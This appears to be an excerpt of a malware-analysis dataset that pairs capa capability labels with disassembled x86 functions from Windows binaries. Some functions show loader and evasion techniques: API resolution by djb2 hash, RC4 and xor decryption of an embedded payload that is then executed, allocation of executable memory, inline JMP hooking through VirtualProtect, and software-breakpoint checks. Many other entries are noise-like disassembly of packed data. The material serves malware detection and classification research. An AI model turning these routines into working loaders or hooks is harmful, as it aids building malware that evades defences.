joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409094
Capabilities:
Encode data using xor

Disassembly:
and byte [esi - 0x4d], ch
xchg esp, eax
movsd dword es:[edi], dword [esi]
dec esi
or dword [esi], edx
int3
push 0x40
inc eax
les ecx, [edi - 0x415f10f8]
xchg ebp, eax
jl 0x40904a
add esp, esi
push edx
push ds
jae 0x4090bf
adc dword [ebx + ecx - 0x3c262a08], eax
sbb byte [eax - 0x5e7835f1], dl
lodsd eax, dword [esi]
lds edi, [edx + ebp*8 - 0x1301173f]
mov eax, 0x6e09d391
cdq
mov fs, word [esi - 0x59]
jne 0x409068
and bl, byte [edi]
out 0xcf, al
aam 0xdb
faddp st(3)
mov ebp, 0xee70720d
cli
sahf
xor bh, byte [ebp + edx*4 - 0x43]
mov dword [0xdad55dae], eax
mov edi, 0x82a26bc5
jp 0x4090a0
cld
bound ecx, qword [edi]
xor al, 0x62
mov cl, 0x20
popal
aad 0xfc
and byte [ecx - 0x2b], ah
cld
push cs
sbb al, bl
salc
jecxz 0x409066
sbb al, 0x95
dec esp
mov edi, 0x417eb3a9
loope 0x409145
invalid
hlt

Function at 0x40a3c4
Capabilities:
Encode data using xor

Disassembly:
pop esp
jbe 0x40a3ee
test al, 0xae
lahf
inc edi
mov eax, 0x12bf62bb
cmp edx, dword [ebp - 0x24835270]
hlt
sbb dword [esi], esp
cli
xchg edi, eax
jb 0x40a416
cmp dword [esi - 0x680c81f5], ebp
iretd
jecxz 0x40a494
mov esp, 0xb7b9a30c
mov al, byte [0x3d12b2c5]
and eax, 0xb30bd4d0
fstp xword [eax]
cmc
lahf
neg dword [edx + 0x5629b60a]
leave
mov edx, 0x595544bf
jge 0x40a45e
and eax, 0x63a0d7
in al, dx
push 0xffffffffffffff87
das
xlatb
mov al, byte [0x6aec0063]
xchg dword [edi], ebp
sbb byte [edx + 0xb], cl
dec esi
sbb eax, dword [eax - 0x4c4d2533]
xchg ebx, esp
les esp, [ecx - 0x70]
xor ebp, dword [edi + 0x22]
jns 0x40a438
fmul st(3), st(0)
inc esp
jmp 0x40a479
bnd jno 0x40a499
xor byte [esi], al
test al, 0x26
int1
and al, 0x41
fisttp word [eax - 0x6d]
add dword [edx + 0x69], esp
mov ebp, 0x2d20d9f8
or eax, 0x4de59c1d
jle 0x40a4ad
cmc
inc ebx
mov dword [ecx + esi - 0x38968ab4], esp
or dword [0x226f9810], edi
xchg ecx, eax
mov ecx, 0x20fb7bf2
test eax, 0xd1b0b1d3
jecxz 0x40a4c1
shl ebx, 1
sub ah, byte [esi + 0x28755b4f]
cmpsb byte [esi], byte es:[edi]
dec edi
pop ebx
jne 0x40a4c4
arpl di, dx
jmp [esi]
iretd
dec eax
arpl word [esi], si
dec edx
pop es
inc ebx
mov al, 0x73
pop ebx
and byte [edi - 0x13], al
cmp eax, 0x5325b7eb
stosb byte es:[edi], al
ret
Function at 0x4203c4
Capabilities:
Encode data using xor

Disassembly:
ret 0xf02e
pop ebp
movsb byte es:[edi], byte [esi]
fsubrp st(5)
dec eax
inc ebx
push cs
or eax, 0xf0d513b4
cld
add ebx, 0xb1c4ebaf
mov al, byte [0x981e2ae4]
movsb byte es:[edi], byte [esi]
mov ah, 0x4e
cmc
mov al, 0x12
dec ebx
inc edx
xchg esi, eax
jne 0x420393
push ebp
sub al, 0x60
pop eax
xchg edi, eax
ret 0xa63
pop edx
jle 0x420323
pop ds
imul ebx, edi, 0x4a
push 0xffffffffffffffcb
movsb byte es:[edi], byte [esi]
jge fcn.004203a4
xor dword [ebp + 0x68], ebx
mov dl, 0xcd
jg 0x4203b2
push 0x497fcdb2
stosd dword es:[edi], eax
push esp
mov word [ecx], cs
or dword [eax + 0x3f], eax
sar dl, 1
mov dh, 0xa2
xchg ebx, eax
lahf
jbe 0x420318
ret 0x733f
aaa
mov dword [0xe2f206c5], eax
dec ebp
pop ecx
outsb dx, byte [esi]
invalid
sti
xchg ebx, eax
pop edx
jle 0x420343
in al, dx
mov cl, byte [edx + 0x67]
rcl byte [ebx - 0x12]
ja 0x42040d
inc esp
aaa
mov dword [0x3a97db6], eax
mov dword [ebp + 0x30312243], esi
jp 0x4203d7
jge 0x420356
enter 0xffffffffffff87b1, 0xffffffffffffff9d
jle 0x420364
wait
mov edx, 0x73bda932
out dx, al
push 0x41
push esp
fiadd dword [ebx - 0x5650e8a9]
sahf
invalid
scasd eax, dword es:[edi]
test eax, 0x5949c79e
and eax, 0xbe5488b6
adc ch, dl
ja 0x420372
js 0x4203eb
push edi
outsb dx, byte [esi]
sbb esi, edx
salc
mov dword [0x2f6d7c88], eax
pop esi
xchg ebx, eax
arpl di, bx
adc dword [ebx + 0x7b], 0xffffff91
scasd eax, dword es:[edi]
outsd dx, dword [esi]
or ebp, eax
lea ecx, [ebx]
stosd dword es:[edi], eax
jno 0x420430
jb 0x4203a5
outsb dx, byte [esi]
popal
test eax, 0x3c1f7325
pop ss
jb 0x420411
add esp, dword [ecx]
dec esi
mov eax, esi
adc eax, 0x9786934e
xchg esi, eax
fistp qword [esi - 0x5d98e536]
and dword [esi - 0x75], ecx
invalid
mov esi, 0xa2671aca
xor bl, byte [edx - 0x33]
push edx
fsub qword [esi + 0x20f34b27]
sbb ch, byte [ebp - 0x4e43336d]
dec esi
sub edx, dword [ebx]
outsb dx, byte [esi]
cmpsd dword [esi], dword es:[edi]
adc ebp, dword [esi - 0x59]
mov edi, 0xf11ea6d6
dec esi
adc byte [esi - 1], 0x6f
out dx, eax
jle 0x420419
test byte [esi + 0x62], dh
and ebp, dword [edx]
xor byte [edi + 0x1e4f06e5], al
dec ebp
sub dword [ebp - 0x7368b041], edx
pop edx
or al, 0x15
mov bl, 0xf4
invalid
Function at 0x456672
Capabilities:
Encode data using xor

Disassembly:
adc al, byte [ebx + 0x3d40bf29]
and eax, 0xd34b335d
dec ebx
sar dword [0xfd45932a], cl
xchg byte [esi + 0x6d7fa985], dh
insd dword es:[edi], dx
xor eax, 0xd1174203
push ebp
imul edx, dword [eax + 0x76], 0x22
rcl dword [ebp + 0x6b]
push eax
jbe 0x4566b5
push ss
inc ebp
push ss
adc dword [esi - 0xc], ebp
push esi
pop ss
jno 0x456688
mov byte [ecx - 0x2b4e766], ah
mov ebp, 0xe9b77dc9
inc esi
push esp
jecxz 0x45668d
jb 0x4566e3
enter 0xffffffffffffeb85, 0xffffffffffffffdb
mov edi, 0x1833547e
xor ebx, dword [eax]
daa
les ecx, [edi - 0x61193d79]
lodsd eax, dword [esi]
shl dword [edx + 0x78], cl
aas
sub dword [ebp - 0x22], esp
dec edx
push 0x4cd90b8b
or al, 0x4e
pop edi
mov ebx, 0x9aa978fb
clc
sub byte [esi], dl
and edi, dword [ebx + edi + 0x681b7b58]
push cs
cmp eax, 0x407f43e
pop esp
push 0xf43e3d0e
pop es
add al, 0x5c
out 0x74, al
enter 0xffffffffffffe195, 0xffffffffffffffa5
daa
sti
push edi
in al, dx
push edx
and byte [ebx], ah
dec edi
jg 0x45676c
adc al, 0xda
sbb byte [eax + 0x6a773c9d], 0
test byte [edi], 0xee
sbb al, 0xb
pop ss
loop 0x456758
xor dword [esi], 0xffffff8c
adc ch, byte [eax + 0x72bfe4d1]
adc eax, 0x32c6e400
adc al, 0x9e
xor ah, ah
dec ebp
std
pushal
in eax, 0x83
jp 0x45677b
into
mov ah, 2
das
adc dh, ah
push ss
rol edx, cl
mov cl, 0x35
jbe 0x4566dd
cwde
clc
js 0x456735
hlt
insb byte es:[edi], dx
dec esi
push edi
add byte [eax], ah
dec ebp
mov ch, 0xd3
push ss
jo 0x456757
and dword [0x49def100], ecx
invalid
lahf
invalid
imul esp, dword [ecx], 0x3d
and ch, byte [ecx - 0x68b8646a]
inc edi
xchg edi, eax
sti
nop
pop eax
add dword [edx], edx
pop edi
mov ecx, 0xb95fd95f
pop edi
fdiv dword [ebx]
stc
xlatb
cmp byte [ebp + 0x39], bl
xchg byte [esi + edx*8], dh
xchg ecx, eax
push ds
imul eax, dword fs:[esi], 0x2c083038
pop edi
je 0x456765
sahf
cld
sbb eax, 0x1ccb21af
invalid
Function at 0x47ee24
Capabilities:
Encode data using xor

Disassembly:
sub eax, 0x342c5082
and al, 0x64
invalid
rcl ch, cl
cmp al, 0xf9
add dword [0xe7b835ff], esi
jno 0x47edd8
pushfd
lea bx, [ecx]
sbb ah, byte [ecx - 0x39]
js 0x47ee19
xchg byte [edx + edi*8 + 0x7a], al
and al, 8
and al, 0x2c
or byte [esp + ebp], ah
and al, 0x49
dec ecx
jne 0x47ee1d
invalid
and al, 0xe3
push es
cmp dword [esi], edx
insd dword es:[edi], dx
stc
jge 0x47ee54
or dl, bh
call 0x2bb1e4b2
cmp ch, ah
add bl, byte [edi - 0x4b]
out dx, al
cmp ebx, dword [ebx + 0x64]
and eax, 0xfd377225
in al, 0x7d
add byte [edi + 0x2a], al
mov dh, byte [di - 0x2f]
jnp 0x47ee6f
shl byte [ecx + esi*8 - 0x3e8b1689], 0x98
cwde
pop edx
imul edi, eax, 0xb48a3977
cmp dword [ecx - 0x57063876], ebx
stc
mov esp, 0x82619f3
clc
sub esi, dword [ecx - 0x31]
inc esp
in al, 0x49
dec ecx
sub eax, 0x2c99955d
add al, 0x39
sbb bl, ch
test dword [ebx], ebp
cmp dword [esi], ebp
scasb al, byte es:[edi]
cmpsd dword [esi], dword es:[edi]
out dx, al
push es
dec edx
xchg esi, esi
jl 0x47ee76
cmp dword [eax], ebx
jmp 0x47edff
lock xor byte [ebx + 0x5f073e08], ch
xor byte [ebx + 0x5f073e08], ch
sub bl, byte [ecx]
or dword [edx - 0x69], esp
fdiv dword [edi + edi*4 - 0x76e1424b]
sub byte [edx + 0x44], 0x62
pushal
mov edx, 0x3bbbc828
xor bh, byte [edx - 0x765be67c]
cmp byte [ecx + edi], bl
shr dword [0xd5db5f8c], 1
add esi, dword [ecx + 0x2f0562f6]
jns 0x47ee85
mov dword [ebx - 0x5d], ebp
pop es
cmp dword [eax], esp
mov al, byte [0x69bc1965]
cmp al, 0xcb
add al, 0xca
popal
jmp 0x16bb22e5

Function at 0x498329
Capabilities:
Check for software breakpoints

Disassembly:
add ah, cl
xchg ecx, eax
cmpsd dword [esi], dword es:[edi]
adc ebp, dword [ebx + 0x5d1aed33]
invalid
inc esp
inc esp
push esp
cmp al, 0xcc
bound esi, qword [eax]
adc eax, 0xc26b4529
sub byte [ecx + edi + 0x72678264], ah
add dh, byte [edx - 0x4e]
sub eax, 0x6d259ac2
mov word [edx + 0x60], es
dec esp
adc al, 0x72
jb 0x4982a5
mov edx, 0x5d51ba7c
cli
cld
pop edi
adc dword [ebp + 0x4d1a4c85], ebx
sbb cl, byte [ebp + 0x24]
cdq
sbb cl, byte [ebp + 0x24]
cdq
or byte [eax + 0x72], 0xa4
cmp al, 0xaa
add edx, dword [edx]
cli
sbb al, 0xe
dec esp
insb byte es:[edi], dx
pop edx
in eax, 0xba
and al, bl
push cs
or ah, byte [eax]
add byte [edx + 2], 0x22
push ebp
in al, 0x52
xor cl, byte [esp + ecx*2 + 0x5cf8e637]
adc ecx, dword [esi + 0x32]
nop
adc byte [ecx + ebp*8], dh
je 0x4982fa
iretd
Function at 0x4ae588
Capabilities:
Encode data using xor

Disassembly:
sbb ah, byte [esi - 0x3e88c118]
pop eax
das
dec ebx
salc
das
xor eax, 0x25e271e6
sub bl, byte [edx]
mov ebx, 0xaf9a2d92
wait
outsd dx, dword [esi]
xor byte [esi - 0x2b], al
adc edx, dword [eax + edi*8 + 0x64]
out 0xba, eax
sub byte [edi + edi*4 - 0x422a4c78], bh
and eax, 0x83fb9fa8
js 0x4ae559
js 0x4ae559
js 0x4ae559
sbb dh, ah
jge 0x4ae59c
sbb cl, byte [edx - 0x20]
xchg ebx, eax
jl 0x4ae5f6
mov ah, 0x46
xchg ebp, eax
fisub word [edi + edi*2 + 0x58]
adc edx, dword [esp + ecx*2 + 0x43f531d5]
xchg esp, eax
dec esp
aad 0x31
cmc
inc ebx
inc esp
clc
dec ebx
aam 0xb6
test bl, bl
stosb byte es:[edi], al
inc ebp
push edi
and eax, dword [ecx - 0x11929add]
jae 0x4ae5ae
and dword [ebx], 0x73ee6d65
stc
mov ss, word [edi]
loop 0x4ae626
pop esp
invalid
xchg esi, eax
mov dword [0xe3f40978], eax
js 0x4ae602
mov esi, 0x7e80fa6e
test al, 8
cmp dword [esi + 0x54c3dc64], 0xdb69b1ef
scasd eax, dword es:[edi]
jl 0x4ae5a1
jle 0x4ae5ac
or byte [ecx - 0x3c239b42], al
push esp
out dx, eax
mov cl, 0x69
fld xword [edi + 0x63228f7c]
movsb byte es:[edi], byte [esi]
and ah, byte [ebx - 0x5c]
inc ebx
sbb byte [esi + 0x64], ch
adc byte [ebx + 0x13530783], 0x87
outsb dx, byte [esi]
daa
xchg esp, eax
or esi, dword [edx]
push ebx
adc al, 0xf3
bound esi, qword [ebx - 0x308bfcff]
adc al, 0xaf
cmp al, 0x40
shl dword [edx - 0x28], 1
pushal
fcom st(2)
int1
ret

Function at 0x4bafed
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c2390
cmp edx, dword [eax]
je 0x4bb00f
add eax, 8
inc ecx
cmp eax, 0x4c2420
jl 0x4bb000
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c2390]
jne 0x4bb13d
mov eax, dword [0x4c6d20]
cmp eax, 1
je 0x4bb117
test eax, eax
jne 0x4bb040
cmp dword [0x4c22bc], 1
je 0x4bb117
cmp edx, 0xfc
je 0x4bb13d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb077
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bb9d0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bbe60
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb0ba
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bbe60
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c070c
push edi
call fcn.004bdd30
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bb9d0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bb9e0
lea eax, [ebp - 0xa0]
push 0x4c06ec
push eax
call fcn.004bb9e0
push dword [esi + 0x4c2394]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bb9e0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bdca4
add esp, 0x2c
pop edi
jmp 0x4bb13d
lea eax, [ebp + 8]
lea esi, [esi + 0x4c2394]
push 0
push eax
push dword [esi]
call fcn.004bbe60
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x5beb44
Capabilities:
Encode data using xor

Disassembly:
adc eax, 0x15212500
add byte [esi], dl
and dword [0x15211b00], edx
add ah, bh
mov word [0x158d0100], ss
lea edx, [0x158cf200]
add bh, dh
mov word [0x158d0600], ss
add byte [ebx], cl
lea edx, [0x158cde00]
add bl, ah
mov word [0x12c0a600], ss
add byte [ebx - 0x17ffed40], ch
mov word [0x158ced00], ss
add byte [esi + ebp*8], ah
push ss
Function at 0x10001769
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push dword [ebp + 0xc]
call sub.kernel32.dll_VirtualProtect
or eax, eax
jne 0x100017a1
push 0x10
push 0x100034c4
push 0x10003576
push 0
call sub.user32.dll_MessageBoxA
push 0
call sub.kernel32.dll_ExitProcess
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
sub eax, ebx
sub eax, 5
lea esi, [ebp - 0xd]
mov byte [esi], 0xe9
mov byte [esi + 1], al
mov byte [esi + 2], ah
shr eax, 0x10
mov byte [esi + 3], al
mov byte [esi + 4], ah
mov edi, dword [ebp + 0xc]
mov ecx, 5
mov ebx, 0
mov al, byte [ebx + esi]
mov byte [ebx + edi], al
inc ebx
loop 0x100017ce
mov eax, 1
pop ecx
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x10001936
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3e8
add eax, dword [ebp + 8]
push 0xa
push eax
push dword [section..bss]
call sub.kernel32.dll_FindResourceA
or eax, eax
jne 0x10001971
push 0x10
push 0x100034c4
push 0x100036c4
push 0
call sub.user32.dll_MessageBoxA
push 0
call sub.kernel32.dll_ExitProcess
push eax
push dword [section..bss]
call sub.kernel32.dll_LoadResource
or eax, eax
jne 0x1000199f
push 0x10
push 0x100034c4
push 0x100036c4
push 0
call sub.user32.dll_MessageBoxA
push 0
call sub.kernel32.dll_ExitProcess
push eax
call sub.kernel32.dll_LockResource
leave
ret 4
Function at 0x298012b7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x298012c6
pop dword [ebp - 0x10]
mov eax, 0x298012c6
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xb16209a1
add dword [ebp - 0x20], 0x9cf03baa
mov dword [ebp - 0x1c], 0xbf5fd399
add dword [ebp - 0x1c], 0x72d378ac
mov dword [ebp - 0x18], 0x2f0722a3
sub dword [ebp - 0x18], 0xe2bade75
mov dword [ebp - 0x14], 0x47008b65
add dword [ebp - 0x14], 0xb8ff749b
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xaabb91a4
add dword [ebp - 0x20], 0xc9b6d7b2
mov dword [ebp - 0x1c], 0xf992d07b
sub dword [ebp - 0x1c], 0xb8266f06
mov dword [ebp - 0x18], 0xc3404d58
sub dword [ebp - 0x18], 0x5fd0e0ec
mov dword [ebp - 0x14], 0x12ec704
add dword [ebp - 0x14], 0xfed138fc
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x4980b
push 0
call eax
mov ecx, 0x5dd7c11
sub ecx, 0x5dd2dfe
mov esi, eax
mov edi, 0x29896400
add edi, dword [ebp - 0x10]
mov edx, 0x4269aab9
add edx, 0x86f6f465
sub dword [ebp - 4], esi
mov ebx, dword [edi]
xor dword [ebp - 4], ecx
xor ebx, edx
sub dword [ebp - 0xc], edi
mov dword [esi], ebx
sub dword [ebp - 4], eax
add esi, 0x7396cf51
add esi, 0x8c6930b3
add edi, 0x38f9ae8d
sub edi, 0x38f9ae89
loop 0x298013d3
add eax, 0x12b1f
mov ebx, eax
add eax, 5
mov ecx, 0x401d04a7
add ecx, 0xe962fb59
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x298072e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x29876b48]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
or edi, 0xffffffff
mov esi, ecx
cmp ebx, edi
jne 0x29807306
xor eax, eax
jmp 0x298073c1
mov eax, dword [esi + 0x20]
cmp dword [eax], 0
je 0x29807328
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, dword [eax]
cmp dword [eax], edx
jae 0x29807328
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
mov byte [eax], bl
mov eax, ebx
jmp 0x298073c1
cmp dword [esi + 0x4c], 0
je 0x298073bf
call fcn.29806a7d
mov ecx, dword [esi + 0x38]
mov al, bl
test ecx, ecx
jne 0x29807352
push dword [esi + 0x4c]
push eax
call fcn.298012b7
test al, al
pop ecx
pop ecx
cmovne edi, ebx
jmp 0x298073bf
mov byte [ebp - 0x28], al
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
test eax, eax
js 0x298073bf
cmp eax, 1
jle 0x2980738d
cmp eax, 3
jne 0x298073bf
push dword [esi + 0x4c]
push dword [ebp - 0x28]
jmp 0x29807344
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x30], eax
je 0x298073b1
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp dword [ebp - 0x30], eax
jne 0x298073bf
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x34], eax
mov eax, ebx
jne 0x298073c1
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.29801cc0
leave
ret 4
Function at 0x29826d7d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x29854690
call fcn.2985114e
mov edx, dword [ebp + 0xc]
xor ebx, ebx
mov eax, dword [ebp + 8]
mov esi, ebx
mov dword [ebp - 0x42c], edx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x424], esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x434], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test eax, eax
je 0x29826f9e
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
inc eax
push 2
push eax
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x420]
push eax
call fcn.298012b7
add esp, 0x10
test eax, eax
js 0x29826f98
mov edi, dword [ebp - 0x420]
cmp edi, 0x400
jg 0x29826e21
push edi
call fcn.29827ddd
pop ecx
test al, al
je 0x29826e21
mov eax, edi
call fcn.29851670
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x29826e33
push edi
lea ecx, [ebp - 0x424]
call fcn.298012b7
mov esi, dword [ebp - 0x424]
push 3
push edi
push dword [ebp - 0x41c]
push eax
call fcn.298012b7
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x29826f98
push 0x60
push ebx
push eax
call fcn.29828150
mov edi, eax
mov dword [ebp - 0x420], edi
test edi, edi
jne 0x29826e8b
push 2
push ebx
push dword [ebp - 0x41c]
call fcn.29828150
mov edi, eax
mov dword [ebp - 0x420], eax
test edi, edi
jne 0x29826e8b
call fcn.29825061
mov ebx, eax
jmp 0x29826f67
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x29826eb2
call fcn.29825061
jmp 0x29826f5a
push eax
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x428], eax
test eax, eax
je 0x29826ea8
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov dword [ebp - 0x41c], eax
lea ecx, [eax + 1]
cmp ecx, eax
jae 0x29826ee5
mov ebx, 0x8007000e
jmp 0x29826f5c
push ecx
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.298012b7
jmp 0x29826f0b
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x29826ede
mov eax, dword [ebp - 0x41c]
push eax
push dword [ebp - 0x428]
push eax
push dword [ebp - 0x418]
call fcn.298012b7
mov eax, dword [ebp - 0x418]
add esp, 0x10
mov ecx, dword [ebp - 0x41c]
push dword [ebp + 0x14]
mov byte [eax + ecx], bl
lea ecx, [ebp - 0x434]
push dword [ebp - 0x418]
call fcn.298012b7
mov ebx, eax
test edi, edi
je 0x29826f67
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x29826f80
lea ecx, [ebp - 0x418]
call fcn.29825bb4
or dword [ebp - 4], 0xffffffff
jmp 0x29826f90
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x29826f86
mov eax, ebx
jmp 0x29826fcc
mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x29826fb3
lea ecx, [ebp - 0x418]
call fcn.29825bb4
or dword [ebp - 4], 0xffffffff
jmp 0x29826fc3
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x29826fb9
mov eax, 0x8007000e
lea esp, [ebp - 0x444]
call fcn.29851106
ret 0x10
Function at 0x659014e0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
xor eax, eax
push edi
push esi
push ebx
sub esp, 0x104
mov edi, dword [esp + 0x118]
mov ebp, dword [esp + 0x11c]
mov ebx, dword [esp + 0x120]
mov esi, dword [esp + 0x124]
lea esi, [esi]
nop
mov byte [esp + eax + 4], al
add eax, 1
cmp eax, 0x100
jne 0x65901510
xor eax, eax
mov dword [esp + 0x118], edi
xor edx, edx
mov edi, ebx
mov dword [esp], eax
nop
mov ecx, edx
movzx ebx, byte [esp + edx + 4]
add edx, 1
and ecx, 0xf
movzx eax, byte [esi + ecx]
add eax, ebx
mov ecx, eax
movzx eax, byte [esp]
add eax, ecx
movzx eax, al
mov dword [esp], eax
mov byte [esp + eax + 4], bl
cmp edx, 0x100
jne 0x65901530
mov ebx, edi
mov edi, dword [esp + 0x118]
test ebx, ebx
jle 0x659015a0
xor esi, esi
xor ecx, ecx
xor eax, eax
add eax, 1
movzx eax, al
movzx edx, byte [esp + eax + 4]
add cl, byte [esp + eax + 4]
movzx ecx, cl
mov byte [esp + ecx + 4], dl
add dl, byte [esp + eax + 4]
movzx edx, dl
movzx edx, byte [esp + edx + 4]
xor dl, byte [edi + esi]
mov byte [ebp + esi], dl
add esi, 1
cmp ebx, esi
jne 0x65901570
add esp, 0x104
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x65901a70
Capabilities:
Resolve function by djb2 hash

Disassembly:
push esi
push ebx
sub esp, 0x34
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.KERNEL32.dll_WriteConsoleW
sub esp, 0x14
test eax, eax
je 0x65901ab0
add esp, 0x34
xor eax, eax
pop ebx
pop esi
ret
mov dword [esp], 0x7040ee75
mov ebx, eax
call fcn.65901ed0
mov dword [esp + 4], 0x614db023
mov dword [esp], eax
mov esi, eax
call fcn.65901fa0
mov dword [esp], esi
mov dword [esp + 4], 0x5fbff0fb
mov dword [0x6593902c], eax
call fcn.65901fa0
mov dword [esp], esi
mov dword [esp + 4], 0x382c0f97
mov dword [0x65939038], eax
call fcn.65901fa0
mov dword [esp], esi
lea esi, [esp + 0x20]
mov dword [esp + 4], 0x844ff18d
mov dword [0x65939034], eax
call fcn.65901fa0
mov dword [esp + 0xc], 0x30c66e
mov dword [esp + 8], 0x10
mov dword [esp + 4], esi
mov dword [esp], esi
mov dword [0x65939030], eax
mov dword [esp + 0x20], 0xd31d3bd8
mov dword [esp + 0x24], 0x9f3ea5fd
mov dword [esp + 0x28], 0x99c98696
mov dword [esp + 0x2c], 0x3191ae32
call fcn.65901cf0
lea esi, [esi]
movzx eax, byte [ebx + ebx + 0x65903020]
add ebx, 1
mov byte [ebx + 0x6590301f], al
cmp ebx, 0x19800
jne 0x65901b58
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0x19800
mov dword [esp + 4], 0x65903020
mov dword [esp], 0x65903020
call fcn.659014e0
mov dword [esp], 0x65903020
call fcn.659018b0
add esp, 0x34
xor eax, eax
pop ebx
pop esi
ret

Function at 0x65901cf0
Capabilities:
Encode data using xor

Disassembly:
push edi
push esi
push ebx
mov ecx, dword [esp + 0x18]
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
movzx ebx, byte [esp + 0x1c]
test ecx, ecx
jle 0x65901d20
xor eax, eax
lea esi, [esi]
movzx edx, byte [edi + eax]
xor edx, ebx
mov byte [esi + eax], dl
add eax, 1
cmp ecx, eax
jne 0x65901d10
pop ebx
pop esi
pop edi
ret